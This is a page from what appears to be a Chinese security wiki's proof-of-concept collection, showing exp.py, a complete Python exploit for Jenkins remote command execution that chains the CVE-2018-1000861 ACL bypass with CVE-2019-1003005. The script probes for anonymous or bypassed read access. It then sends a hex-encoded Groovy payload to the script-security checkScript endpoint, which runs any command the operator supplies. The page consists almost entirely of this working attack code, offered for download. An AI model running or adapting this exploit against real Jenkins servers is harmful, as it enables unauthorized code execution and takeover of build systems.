menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right POChouse-main chevron_right Jenkins chevron_right Jenkins 远程命令执行漏洞(CVE-2018-1000861) chevron_right exp.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    exp.py
    2.87 KB / 2021-06-28 05:31:32
        #!/usr/bin/python
    # coding: UTF-8
    # author: Orange Tsai(@orange_8361)
    # 
    
    import sys
    import requests
    from enum import Enum
    
    # remove bad SSL warnings
    try:
        requests.packages.urllib3.disable_warnings()
    except:
        pass
    
    
    endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
    
    class mode(Enum):
        ACL_PATCHED = 0
        NOT_JENKINS = 1
        READ_ENABLE = 2
        READ_BYPASS = 3
        ENTRY_NOTFOUND = 999
    
    def usage():
        print ('''Usage:python exp.py <url> <cmd>''')
    
    def _log(msg, fail=False):
        nb = '[*]'
        if fail:
            nb = '[-]'
        print ('%s %s' % (nb, msg))
    
    def _get(url, params=None):
        r = requests.get(url, verify=False, params=params)
        return r.status_code, r.content
    
    def _add_bypass(url):
        return url + 'securityRealm/user/admin/'
    
    def check(url):
        flag, accessible = mode.ACL_PATCHED, False
    
        # check ANONYMOUS_READ
        status, content = _get(url)
        if status == 200 and 'adjuncts' in content:
            flag, accessible = mode.READ_ENABLE, True
            _log('ANONYMOUS_READ enable!')
        elif status == 403:
            _log('ANONYMOUS_READ disable!')
    
            # check ACL bypass, CVE-2018-1000861
            status, content = _get(_add_bypass(url))
            if status == 200 and 'adjuncts' in content:
                flag, accessible = mode.READ_BYPASS, True
        else:
            flag = mode.NOT_JENKINS
    
        # check entry point, CVE-2019-1003005
        if accessible:
            if flag is mode.READ_BYPASS:
                url = _add_bypass(url)
            status, content = _get(url + endpoint)
    
            if status == 404:
                flag = mode.ENTRY_NOTFOUND
    
        return flag
    
    def exploit(url, cmd):
        payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
        params = {
            'sandbox': True, 
            'value': payload
        }
    
        status, content = _get(url + endpoint, params)
        if status == 200:
            _log('Exploit success!(it should be :P)')
        elif status == 405:
            _log('It seems Jenkins has patched the RCE gadget :(')
        else:
            _log('Exploit fail with HTTP status [%d]' % status, fail=True)
            if 'stack trace' in content:
                for _ in content.splitlines():
                    if _.startswith('Caused:'):
                        _log(_, fail=True)
    
    if __name__ == '__main__':
        if len(sys.argv) != 3:
            usage()
            exit()
    
        url = sys.argv[1].rstrip('/') + '/'
        cmd = sys.argv[2]
    
        flag = check(url)
        if flag is mode.ACL_PATCHED:
            _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
        elif flag is mode.NOT_JENKINS:
            _log('Is this Jenkins?', fail=True)
        elif flag is mode.READ_ENABLE:
            exploit(url, cmd)
        elif flag is mode.READ_BYPASS:
            _log('Bypass with CVE-2018-1000861!')
            exploit(_add_bypass(url), cmd)
        else:
            _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)
    
    links
    file_download